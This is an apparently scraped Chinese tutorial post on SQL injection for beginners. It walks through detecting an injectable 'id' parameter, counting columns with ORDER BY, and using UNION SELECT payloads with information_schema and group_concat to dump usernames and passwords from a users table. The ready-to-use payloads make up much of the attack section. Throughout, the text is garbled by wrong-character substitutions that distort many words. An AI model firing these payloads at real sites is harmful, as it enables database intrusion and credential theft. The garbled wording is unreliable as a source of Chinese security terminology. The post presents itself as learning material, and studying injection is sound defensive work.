乐趣区

关于安全:从零开始学渗透SQL-注入一

本文只提供思路参考学习

注入破绽

注入破绽作为 OWASP Top 10 之一,它是一个非常广泛的破绽,攻击者注入恶意代码后,能引起很重大的结果,而 SQL 注入又是其中的大头,作为初识平安的小白,这是一个很好的学习方向。

SQL 注入

顾名思义 是因为开发人员编写的 SQL 语句不强壮,从而使得你能在 Web 端构建本人的非凡 SQL 语句导致能从前端拜访到后端的数据库,从而取得数据库的一系列信息的攻击行为。

SQL 注入类型

总体分为字符型和数字型

$query="select username,email from member where id=$id"; // 数字型 未在 id 处增加特殊符号
$query="select username,email from member where id='$id'"; // 字符串型,在 id 处加以单引号闭合

SQL 注入总体思路

  1. 依据网址抓包等确定是否有查问参数
  2. 找注入点并判断是否能进行注入
  3. 进行数据爆破

实战复现

1. 进入网址,发现它的 url 是以查问信息结尾的,id 就是查问参数。由此判断能够结构 SQL 语句

2. 查找注入点并判断是否能进行注入

罕用办法先是增加单引号造成 SQL 语句出错

/index1.php?id=1' // 等价于

select username from member where id = '1'' 字符串型(还可能是其余特殊符号)

select username from memeber where id = 1' 数字型


观察报错,应为字符串型 SQL 注入


而后 构建非凡语句 ?id=1'and' 1 '=' 1 (留神标签的闭合) 此处是恒为真的表达式,所以预计页面正确显示。

而后构建非凡语句?id=1'and' 1 '=' 2 此处是恒为假的表达式,预计页面不会正确显示,然而不会报错。

两个恒等式 的差别体现阐明了此处是能够进行 sql 注入的

3. 进行数据爆破

在得悉 SQL 注入破绽存在后,咱们即可进行系列操作。

首先是通过 order by 猜想表中字段数。构建语句

' order by 5--+ 
// --+ 是正文,能疏忽前面的特殊字符闭合,用二分法猜数字

阐明字段超了,往回猜,先 3 后 4,2 就能确定只有 3 个字段了

接下来就是利用 union 语句来操作了
输出?id=1' and 1 = 2 union select 1,2,3--+

后面编写 and 1 = 2 是因为联结抉择 将后面的语句返回一个 false 就不会在页面显示,所以会显示前面咱们想要找的货色,也能够写成 id = -1' union select 1,2,3--+

阐明 2,3 都能够替换成咱们想要查找的货色

接下来就是一系列的惯例操作了

先查询数据库以及数据库版本

?id=1' and 1 = 2 union select 1,version(),database()--+

在确定版本为 5.5.53 确定有 information_scheme 信息库接下来就用它以及 group_concat 函数进行操作

查问表头

?id=1' and 1 = 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

很显著 users 就是一个好货色,咱们获取它的列名

?id=1'and 1 = 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

最初你就能够获取对应的用户名和明码啦

?id=1'and 1 = 2 union select 1,2,group_concat(id,'%7C',username,'%7C',password) from users--+

从左到右别离别离是 id username password

到此根本想要的信息都拿到啦。

分享到此结束,感激观看!

参考资料
https://blog.csdn.net/qq_4126…
https://segmentfault.com/a/11…
《腾讯 Web 平安课堂》

退出移动版